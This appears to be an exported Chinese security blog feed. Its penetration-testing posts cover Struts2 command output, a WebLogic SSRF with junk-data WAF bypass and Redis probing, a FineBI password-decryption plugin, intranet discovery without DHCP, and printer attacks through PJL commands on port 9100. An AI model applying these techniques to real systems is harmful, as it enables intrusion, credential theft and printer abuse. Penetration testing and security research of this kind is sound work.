<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"><span class="keyword">import</span> java.lang.ProcessBuilder;</span><br><span class="line"><span class="keyword">import</span> java.util.stream.Collectors;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cmdExec</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="type">ProcessBuilder</span> <span class="variable">pb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ProcessBuilder</span>(<span class="string">"ls"</span>);</span><br><span class="line"> <span class="type">Process</span> <span class="variable">process</span> <span class="operator">=</span> pb.start();</span><br><span class="line"> <span class="type">BufferedReader</span> <span class="variable">reader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">InputStreamReader</span>(process.getInputStream()));</span><br><span class="line"> reader.lines().forEach(java.lang.System.out::println);</span><br><span class="line"><span class="comment">// System.out.println(reader.lines().collect(Collectors.joining()));</span></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>lambda输出<br><img data-src="https://i.loli.net/2021/08/07/hjMEbGwRlaZxIJq.png" alt="Struts2-lambdaECHO"></p>
<p>collect输出会将所有数据去除换行,变成一行输出<br><img data-src="https://i.loli.net/2021/08/07/SUNywL1xonj8Dzu.png" alt="Struts2-collectEcho"><br>但是在ognl中无法这样操作,后续直接执行命令将shell反弹到cs,就没有继续深究了。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>1.这个算是一个比较奇葩的环境,服务器上lib存在commons.io依赖,但是在调用的出问题。猜测是依赖冲突导致;<br>2.针对现在能执行命令可结合echo写webshell,如果可出网并且无杀软可直接powershell等方式getshell;<br>3.针对现在命令执行结果只能输出一行的情况,可以将结果写入到web目录下一个文件中,直接访问获取,但这不是一个好方法。后续可以找个机会再看看ognl表达式。</p>
]]></content>
<categories>
<category>安全</category>
<category>渗透测试</category>
</categories>
<tags>
<tag>Struts2</tag>
</tags>
</entry>
<entry>
<title>weblogic-ssrf-redis</title>
<url>/archives/6201c371.html</url>
<content><![CDATA[<p>最近遇到weblogic的目标,大部分漏洞都修复了,发现了存在ssrf,但是部署了WAF。无法直接利用,后面通过脏数据的方式绕过waf。对内网进行探测,发现redis,通过定时任务方式,但反弹失败。</p>
<span id="more"></span>
<p>访问目标系统,使用weblogicscan发现了uddiexplorer目录。但是直接访问uddiexplorer/SearchPublicRegistries.jsp发现页面为空白,查看网页源码信息,发现源码都被注释。拦截响应内容,将注释符号删除,可得到正常页面。这时候发送post请求,发现被waf拦截。</p>
<p><img data-src="https://i.loli.net/2020/11/22/fM9J1kScK5tvZaU.png" alt="Bypass-waf"></p>
<p>在post数据中添加任意参数,并填充数值为脏数据(约180W),可成功请求。通过uddiexplorer/SetupUDDIExplorer.jsp页面获取其内网地址。编写脚本探测内网信息。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> <span class="string">"content-type: null"</span> <span class="keyword">in</span> req.text:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"port is open:"</span> + <span class="built_in">str</span>(i))</span><br><span class="line"> <span class="keyword">elif</span> <span class="string">"addresses"</span> <span class="keyword">in</span> req.text:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'port not open:'</span> + <span class="built_in">str</span>(i))</span><br><span class="line"> <span class="keyword">elif</span> <span class="string">"text/html"</span> <span class="keyword">in</span> req.text:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"http server open:"</span>+ <span class="built_in">str</span>(i))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"It's filed:"</span> + <span class="built_in">str</span>(i))</span><br></pre></td></tr></table></figure>
<p>跨了两个段之后,发现某台主机6379端口开放,发送反弹shell命令,页面成功回显命令回响。但是,未成功获取shell。原因可能是内网不通外网或者操作系统版本问题导致定时任务未成功写入。通过ssrf+dnslog验证内网是否可通外网,发现dnslog没接收到请求。因此,大概率为内网完全不通外网,导致shell无法反弹。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>本次关键点为waf绕过、redis服务探测。</p>
<ul>
<li>WAF可使用脏数据填充方式绕过;</li>
<li>内网探测时需注意内外网是否互通情况;</li>
<li>ssrf可用dict、file、gopher等协议进行探测。在这里尝试了多种协议,使用file报错<code>java.lang.ClassCastException: sun.net.www.protocol.file.FileURLConnection incompatible with java.net.HttpURLConnection</code>;使用gopher报错<code>java.lang.ClassCastException: sun.net.www.protocol.gopher.GopherURLConnection incompatible with java.net.HttpURLConnection</code>;使用dict报错<code>unknown protocol: dict</code>。</li>
</ul>
]]></content>
<categories>
<category>安全</category>
<category>渗透测试</category>
</categories>
<tags>
<tag>ssrf</tag>
</tags>
</entry>
<entry>
<title>woodpecker插件编写</title>
<url>/archives/ec517011.html</url>
<content><![CDATA[<p>编写woodpecker帆软密码解密插件<br><img data-src="https://s2.loli.net/2023/07/27/Q2bSljkpq3OMdCV.jpg"></p>
<span id="more"></span>
<h1 id="编写"><a href="#编写" class="headerlink" title="编写"></a>编写</h1><p>目录结构</p>
<figure class="highlight stylus"><table><tr><td class="code"><pre><span class="line">├── pom<span class="selector-class">.xml</span></span><br><span class="line">├── <span class="attribute">src</span></span><br><span class="line">│ ├── <span class="selector-tag">main</span></span><br><span class="line">│ │ ├── java</span><br><span class="line">│ │ │ └── me</span><br><span class="line">│ │ │ └── gv7</span><br><span class="line">│ │ │ └── woodpecker</span><br><span class="line">│ │ │ ├── helper</span><br><span class="line">│ │ │ │ ├── PasswdDecryptHelper<span class="selector-class">.java</span></span><br><span class="line">│ │ │ │ └── fineBIPasswordDcrypter<span class="selector-class">.java</span></span><br><span class="line">│ │ │ └── plugin</span><br><span class="line">│ │ │ └──WoodpeckerPluginManager<span class="selector-class">.java</span></span><br><span class="line">│ │ └── test</span><br><span class="line">│ │ └── java</span><br><span class="line">│ └── test</span><br><span class="line">│ └── java</span><br><span class="line">│ └── fineBIDecrypterTest<span class="selector-class">.java</span></span><br><span class="line">└── target</span><br><span class="line"> ├── archive-tmp</span><br><span class="line"> ├── classes</span><br><span class="line"> │ └── me</span><br><span class="line"> │ └── gv7</span><br><span class="line"> │ └── woodpecker</span><br><span class="line"> │ ├── helper</span><br><span class="line"> │ │ ├── PasswdDecryptHelper<span class="selector-class">.class</span></span><br><span class="line"> │ │ └── fineBIPasswordDcrypter<span class="selector-class">.class</span></span><br><span class="line"> │ └── plugin</span><br><span class="line"> │ └── WoodpeckerPluginManager<span class="selector-class">.class</span></span><br><span class="line"> ├── generated-sources</span><br><span class="line"> │ └── annotations</span><br><span class="line"> └── maven-status</span><br><span class="line"> └── maven-compiler-plugin</span><br><span class="line"> └── compile</span><br><span class="line"> └── default-compile</span><br><span class="line"> ├── createdFiles<span class="selector-class">.lst</span></span><br><span class="line"> └── inputFiles<span class="selector-class">.lst</span></span><br><span class="line"></span><br><span class="line"><span class="number">27</span> directories, <span class="number">10</span> files</span><br></pre></td></tr></table></figure>
<p>WoodpeckerPluginManager.java</p>
<figure class="highlight haxe"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> me.gv7.woodpecker.plugin;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> me.gv7.woodpecker.helper.fineBIPasswordDcrypter;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">WoodpeckerPluginManager</span> <span class="keyword"><span class="keyword">implements</span> <span class="type">IPluginManager</span></span></span>{</span><br><span class="line"> <span class="keyword">public</span> void registerPluginManagerCallbacks(IPluginManagerCallbacks pluginManagerCallbacks) {</span><br><span class="line"> fineBIPasswordDcrypter echoTextConverter = <span class="keyword">new</span> <span class="type">fineBIPasswordDcrypter</span>();</span><br><span class="line"> pluginManagerCallbacks.registerHelperPlugin(echoTextConverter);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>fineBIPasswordDcrypter.java</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> me.gv7.woodpecker.helper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> me.gv7.woodpecker.plugin.*;</span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">fineBIPasswordDcrypter</span> <span class="keyword">implements</span> <span class="title class_">IHelperPlugin</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> IHelperPluginCallbacks callbacks;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> IPluginHelper pluginHelper;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">fineBIPasswordDcrypter</span><span class="params">()</span> {</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">HelperPluginMain</span><span class="params">(IHelperPluginCallbacks iHelperPluginCallbacks)</span> {</span><br><span class="line"> callbacks = iHelperPluginCallbacks;</span><br><span class="line"> pluginHelper = callbacks.getPluginHelper();</span><br><span class="line"> callbacks.setHelperPluginName(<span class="string">"FineBI password Decrypter"</span>);</span><br><span class="line"> callbacks.setHelperPluginVersion(<span class="string">"0.1.0"</span>);</span><br><span class="line"> callbacks.setHelperPluginAutor(<span class="string">"hywell"</span>);</span><br><span class="line"> callbacks.setHelperPluginDescription(<span class="string">"帆软BI密码解密"</span>);</span><br><span class="line"> List<IHelper> helperList = <span class="keyword">new</span> <span class="title class_">ArrayList</span><>();</span><br><span class="line"> helperList.add(<span class="keyword">new</span> <span class="title class_">PasswdDecryptHelper</span>());</span><br><span class="line"> callbacks.registerHelper(helperList);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>PasswdDecryptHelper.java</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> me.gv7.woodpecker.helper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fr.properties.finedb.DBPropertyCipher;</span><br><span class="line"><span class="keyword">import</span> me.gv7.woodpecker.plugin.IHelper;</span><br><span class="line"><span class="keyword">import</span> me.gv7.woodpecker.plugin.IArg;</span><br><span class="line"><span class="keyword">import</span> me.gv7.woodpecker.plugin.IArgsUsageBinder;</span><br><span class="line"><span class="keyword">import</span> me.gv7.woodpecker.plugin.IResultOutput;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PasswdDecryptHelper</span> <span class="keyword">implements</span> <span class="title class_">IHelper</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">PasswdDecryptHelper</span><span class="params">()</span> {</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> String <span class="title function_">getHelperTabCaption</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"FineBI password Decrypter"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> IArgsUsageBinder <span class="title function_">getHelperCutomArgs</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">IArgsUsageBinder</span> <span class="variable">argsUsageBinder</span> <span class="operator">=</span> fineBIPasswordDcrypter.pluginHelper.createArgsUsageBinder();</span><br><span class="line"> List<IArg> args = <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line"> <span class="type">IArg</span> <span class="variable">argPassword</span> <span class="operator">=</span> fineBIPasswordDcrypter.pluginHelper.createArg();</span><br><span class="line"> argPassword.setName(<span class="string">"password"</span>);</span><br><span class="line"> argPassword.setDefaultValue(<span class="string">"NbqzauIuNWerl9wdI0o/k0bm0E+gY0eeTVTGnUFM4BlewX5/QHT/aZaVIRCLMTfNfuWVnePIo+C7"</span> +</span><br><span class="line"> <span class="string">"uPSLC7vfJORbYQf4dYG6DNHwgAFz0RVYPQX+BnWHvPofsvNmPaESpTE2o7cEUH711wihc0RAl/d9"</span> +</span><br><span class="line"> <span class="string">"0qUDfyNT/VecC3R2aj1hWwh/tmoXqm8qJd0FVrfy4rPK8gLEOt9pxY0iDSK9Wmlk6B8WEGl7DV9H"</span> +</span><br><span class="line"> <span class="string">"huMsgthuJnKZhVNajSW0FQjqBFq/TD3sKYhf8lFG1mBXPlqb/0wfQJI7KXzul7nykG0qJm/JR8B3"</span> +</span><br><span class="line"> <span class="string">"eQKd7/Q5W2TjUULl7B3IWoU/NTsZq/pq9O93ZQ=="</span>);</span><br><span class="line"> argPassword.setDescription(<span class="string">"需要解密的 password,需单行全部确认"</span>);</span><br><span class="line"> argPassword.setRequired(<span class="literal">true</span>);</span><br><span class="line"> args.add(argPassword);</span><br><span class="line"> argsUsageBinder.setArgsList(args);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> argsUsageBinder;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doHelp</span><span class="params">(Map<String, Object> customArgs, IResultOutput iResultOutput)</span> <span class="keyword">throws</span> Throwable {</span><br><span class="line"> <span class="type">String</span> <span class="variable">password</span> <span class="operator">=</span> (String) customArgs.get(<span class="string">"password"</span>);</span><br><span class="line"> password = password.replace(<span class="string">"\\r\\n"</span>,<span class="string">"\n"</span>).replace(<span class="string">"\\n"</span>,<span class="string">"\n"</span>).replace(<span class="string">"\\="</span>,<span class="string">"="</span>).replace(<span class="string">"\n"</span>, <span class="string">""</span>);</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">String</span> <span class="variable">plainText</span> <span class="operator">=</span> DBPropertyCipher.getInstance().decode(password);</span><br><span class="line"> iResultOutput.successPrintln(<span class="string">"Decrypt result:"</span>);</span><br><span class="line"> iResultOutput.rawPrintln(<span class="string">"\n"</span> + plainText + <span class="string">"\n"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception var6) {</span><br><span class="line"> iResultOutput.errorPrintln(fineBIPasswordDcrypter.pluginHelper.getThrowableInfo(var6));</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h1 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h1><p>maven打包出现未把帆软依赖打入jar中,使用maven-assembly-plugin解决</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag"><<span class="name">build</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">plugins</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">plugin</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.apache.maven.plugins<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>maven-assembly-plugin<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>3.3.0<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">configuration</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">descriptorRefs</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">descriptorRef</span>></span>jar-with-dependencies<span class="tag"></<span class="name">descriptorRef</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">descriptorRefs</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">configuration</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">plugin</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">plugins</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">build</span>></span></span><br></pre></td></tr></table></figure>
<p>然后使用<code>mvn compile assembly:single</code>编译即可</p>
]]></content>
<categories>
<category>安全</category>
<category>渗透测试</category>
</categories>
<tags>
<tag>woodpecker</tag>
</tags>
</entry>
<entry>
<title>安全-内网渗透测试(无DHCP)</title>
<url>/archives/27b0f6e3.html</url>
<content><![CDATA[<p>针对渗透,有句话很符合:只要思想不滑坡,办法总比问题多。</p>
<span id="more"></span>
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>好久没做过渗透测试,这次因为工作接触一个盲测的项目,特此记录一下。</p>
<h2 id="特点"><a href="#特点" class="headerlink" title="特点"></a>特点</h2><p>这次渗透只给了一个网口,没有DHCP服务,IP需要自己配置、系统IP需要自己去寻找。</p>
<h1 id="渗透ing"><a href="#渗透ing" class="headerlink" title="渗透ing"></a>渗透ing</h1><h2 id="获取IP"><a href="#获取IP" class="headerlink" title="获取IP"></a>获取IP</h2><p>由于没有DHCP。所以需要知道自己处于什么网段。这个步骤主要通过wireshark来查看ARP包,基本可以知道所处的网段了。但是子网掩码需要自己一个个去猜,可以先从24位(255.255.255.0)开始,逐步递增。如果递增还是不行那就递减吧。<br><img data-src="https://i.loli.net/2017/09/23/59c5b32a3ea45.png" alt="arp.png"><br>像这种ARP包,可以将IP地址配置为10.121.21.x,子网掩码配置成255.255.255.0。先看同网段IP是否可以访问,可以访问就配置网关,网关配置成10.121.21.254,再看10.121.X.X是否可以访问。</p>
<h2 id="服务器探测"><a href="#服务器探测" class="headerlink" title="服务器探测"></a>服务器探测</h2><p>有了IP地址之后,就需要开始去寻找服务器地址了。可以先从C段开始快速探测,如果C段没有目标服务器的话,那就从B段下手。这个过程极其枯燥,建议使用工具:IISPutScanner、Advanced_ip_scanner。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>有了IP、服务器IP就跟平时渗透是一样的。这次难点在于没有DHCP,需要自己去配置对应的IP、寻找目标系统的IP。</p>
]]></content>
<categories>
<category>安全</category>
<category>渗透测试</category>
</categories>
<tags>
<tag>内网</tag>
</tags>
</entry>
<entry>
<title>安全-打印机安全研究</title>
<url>/archives/90a5ee4a.html</url>
<content><![CDATA[<p>只要你联网,那就有可能存在安全问题。俗称万物皆可’日’。</p>
<span id="more"></span>
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>打印机是现在办公环境中不可或缺的一个硬件设备,其本身存在很多安全问题。打印机服务有:FTP、Telnet、HTTP、PJL等。看到这么多服务,相信研究人员是非常高兴的。因为服务越多,安全隐患也越多。做安全研究最怕的就是服务很少、功能很少、端口不开放这些。<br>前段时间,由于工作的原因,对打印机安全进行研究与分析。整体流程为:识别打印机→识别服务→常见服务安全分析→打印机专用服务(PJL)安全分析。PJL命令文档可以在HP网站上找到,<span class="exturl" data-url="aHR0cDovL3d3dy5ocC5jb20vY3RnL01hbnVhbC9icGwxMzIxMC5wZGY=">文档参考1<i class="fa fa-external-link-alt"></i></span>、<span class="exturl" data-url="aHR0cDovL2gxMDAzMi53d3cxLmhwLmNvbS9jdGcvTWFudWFsL2JwbDEzMjA4LnBkZg==">文档参考2<i class="fa fa-external-link-alt"></i></span>。</p>
<h1 id="识别打印机"><a href="#识别打印机" class="headerlink" title="识别打印机"></a>识别打印机</h1><p>识别打印机可以通过:SNMP发送特定oid识别、Web管理页面识别、PJL命令识别。这里我采用了PJL命令识别,通过向设备的9100端口发送PJL命令,根据返回信息来识别。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">@PJL INFO ID</span><br></pre></td></tr></table></figure>
<p>通过对打印机发送INFO ID(PJL命令),打印机会返回其对应的型号。<br><img data-src="https://i.loli.net/2017/09/08/59b217a08f4e3.bmp" alt="识别.bmp"></p>
<h1 id="服务识别"><a href="#服务识别" class="headerlink" title="服务识别"></a>服务识别</h1><p>识别服务的话,用nmap就可以了。可以使用全端口扫描来发现对应服务。</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">nmap -p 1-65535 -T4 -A -v targetIP</span><br></pre></td></tr></table></figure>
<h1 id="常见服务分析"><a href="#常见服务分析" class="headerlink" title="常见服务分析"></a>常见服务分析</h1><p>打印机常见服务:Telnet、FTP、HTTP。</p>
<h2 id="Telnet"><a href="#Telnet" class="headerlink" title="Telnet"></a>Telnet</h2><p>打印机中Telnet基本都是默认密码或者是空密码。登录之后可以查看配置信息、操作打印机等等。</p>
<h2 id="FTP"><a href="#FTP" class="headerlink" title="FTP"></a>FTP</h2><p>大部分打印机FTP默认密码或空密码。通过上传文件,文件会直接被打印。</p>
<h2 id="HTTP"><a href="#HTTP" class="headerlink" title="HTTP"></a>HTTP</h2><p>打印机的Web存在的问题:爆破破解、越权访问等。这个可通过使用Web渗透的方式进行测试。我测试的时候发现有默认密码、信息泄露等。</p>
<h1 id="打印机专用服务-PJL-分析"><a href="#打印机专用服务-PJL-分析" class="headerlink" title="打印机专用服务(PJL)分析"></a>打印机专用服务(PJL)分析</h1><p>PJL是打印机作业语言:printer job language。PJL语言有固定的格式。<br><img data-src="https://ooo.0o0.ooo/2017/09/08/59b2295cbe64f.png" alt="报文格式.png"><br>对PJL命令文档中的PJL命令进行了整理:</p>
<figure class="highlight autoit"><table><tr><td class="code"><pre><span class="line">PJL以<span class="string">"\x1B%-12345@PJL JOB"</span>开始,以<span class="string">"\x1B%-12345"</span>结束,其中每条指令应当独占一行,指令间需要有carriage <span class="keyword">return</span>(<span class="number">0x0D</span>)。使用者可以自定义指令。</span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSDELETE NAME = “pathname” [<CR>]<LF> <span class="meta"># 删除文件 </span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSDOWNLOAD FORMAT:<span class="built_in">BINARY</span> [SIZE=<span class="built_in">int</span>] [<CR>]<LF> <span class="meta"># 下载文件到打印机</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSINIT VOLUME = “pathname” [<CR>]<LF> <span class="meta"># 初始化打印机文件系统</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSMKDIR NAME = “pathname” [<CR>]<LF> <span class="meta"># 创建目录</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> DINQUIRE CPLOCK <span class="meta"># 检查控制面板状态</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> DINQUIRE PASSWORD <span class="meta"># 检查密码保护状态</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> JOB PASSWORD = [<span class="built_in">Number</span>:<span class="number">0</span> <span class="keyword">to</span> <span class="number">65535</span>] <span class="meta"># 当前密码保护密码</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> <span class="literal">DEFAULT</span> PASSWORD [<span class="built_in">Number</span>:<span class="number">0</span> <span class="keyword">to</span> <span class="number">65535</span>] <span class="meta"># 修改保护密码</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> <span class="literal">DEFAULT</span> CPLOCK = [ON, OFF] <span class="meta"># 控制面板状态</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET IOBUFFER = [ON, OFF, AUTO] <span class="meta"># 设置缓冲区</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET IOSIZE = [<span class="number">10</span><span class="number">-100</span>] <span class="meta"># 设置缓存区大小</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET PCNAME = [<span class="built_in">String</span>] <span class="meta"># 设置计算机名称</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET HOLD = [ON, JOB, STORE, PROOF] <span class="meta"># 设置文件保存</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET HOLDKEY = [<span class="built_in">Number</span>:<span class="number">0000</span> <span class="keyword">to</span> <span class="number">9999</span>] <span class="meta"># 设置保存文件密码</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> <span class="literal">DEFAULT</span> DISKLOCK = [ON, OFF] <span class="meta"># 设置硬盘锁定状态</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET SPOOLTIME <span class="meta"># 设置打印日期</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET COPIES <span class="meta"># 设置打印数</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET JOBNAME <span class="meta"># 设置打印机文件名称</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET RESOLUTION <span class="meta"># 设置分辨率</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET DRIVERNAME <span class="meta"># 设置驱动</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> USTATUS JOB <span class="meta"># 输出 队列中还未打印任务的 状态</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> COMMENT <span class="meta"># 添加注释</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET OUTTRAY <span class="meta">#出纸盘(纸张输出位置)</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET ORIENTATION = [PORTRAIT, LANDSCAPE] <span class="meta">#页面方向</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET DUPLEX = [ON, OFF] <span class="meta">#双工模式(双面打印)</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET BINDING = [LONGEDGE, SHORTEDGE] <span class="meta">#双工模式:短边、长边</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> RNVRAM ADDRESS <span class="meta">#读取内存</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> OPMSG DISPLAY <span class="meta">#设置打印机离线脱机</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> SET SERVICEMODE <span class="meta">#设置服务模式</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> WNVRAM ADDRESS <span class="meta">#写入内存</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSDIRLIST NAME <span class="meta">#读取目录</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSQUERY NAME <span class="meta">#读取文件</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSUPLOAD NAME <span class="meta">#文件上传</span></span><br><span class="line"></span><br><span class="line"><span class="symbol">@PJL</span> FSDOWNLOAD <span class="meta">#写入文件</span></span><br></pre></td></tr></table></figure>
<p>由于打印机并不去判断PJL命令是谁发起的,因此,只要路由可达任何人都可以对打印机执行PJL命令操作。<br>我测试的时候,发现对打印机的9100端口发送任何数据,打印机都会将其打印出来。如果,通过对9100端口进行DoS,那么,打印机就会不间断的工作。</p>
<h1 id="工具"><a href="#工具" class="headerlink" title="工具"></a>工具</h1><ol>
<li><span class="exturl" data-url="aHR0cDovL3d3dy5waGVub2VsaXQub3JnL2hwLw==">Hijetter.exe<i class="fa fa-external-link-alt"></i></span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL1JVQi1ORFMvUFJFVA==">PRET<i class="fa fa-external-link-alt"></i></span></li>
<li><span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3lvdXItZmF2b3JpdGUtaGFja2VyL3BqbC10b29s">pjl-tool<i class="fa fa-external-link-alt"></i></span></li>
<li>print.py<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">'1'</span>, <span class="string">'rb'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> pdata = f.read()</span><br><span class="line"> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"> sock.connect((sys.argv[<span class="number">1</span>],<span class="number">9100</span>))</span><br><span class="line"> sock.sendall(pdata)</span><br><span class="line"> recv_data = sock.recv(<span class="number">1024</span>)</span><br><span class="line"> <span class="built_in">print</span> recv_data</span><br><span class="line"> sock.close()</span><br></pre></td></tr></table></figure></li>
</ol>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>在对打印机进行安全测试的时候,发现了几个问题特此记录一下:<br>1.使用网络打印机的时候,流量报文是明文。将流量报文保存,可进行重放,将文档重新打印;</p>
<p>2.测试的打印机使用FTP向打印机上传文件,打印机立即打印,打印之后立马删除。不知道其他打印机是否会立即删除文件;</p>
<p>3.使用Python的socket可以达到快速网络数据发送。</p>
]]></content>
<categories>
<category>安全</category>
</categories>
<tags>
<tag>打印机</tag>
</tags>
</entry>
<entry>
<title>帆软数据库配置解密</title>
<url>/archives/df18668b.html</url>
<content><![CDATA[<p>在某次红蓝演练中,通过帆软反序列化拿下服务器之后,发现数据库的配置信息被加密,通过查看帆软源代码最终将其解密。</p>
<p><img data-src="https://s2.loli.net/2023/04/05/Fe9Z8yLAqGdrfnC.png" alt="decode"></p>
<span id="more"></span>
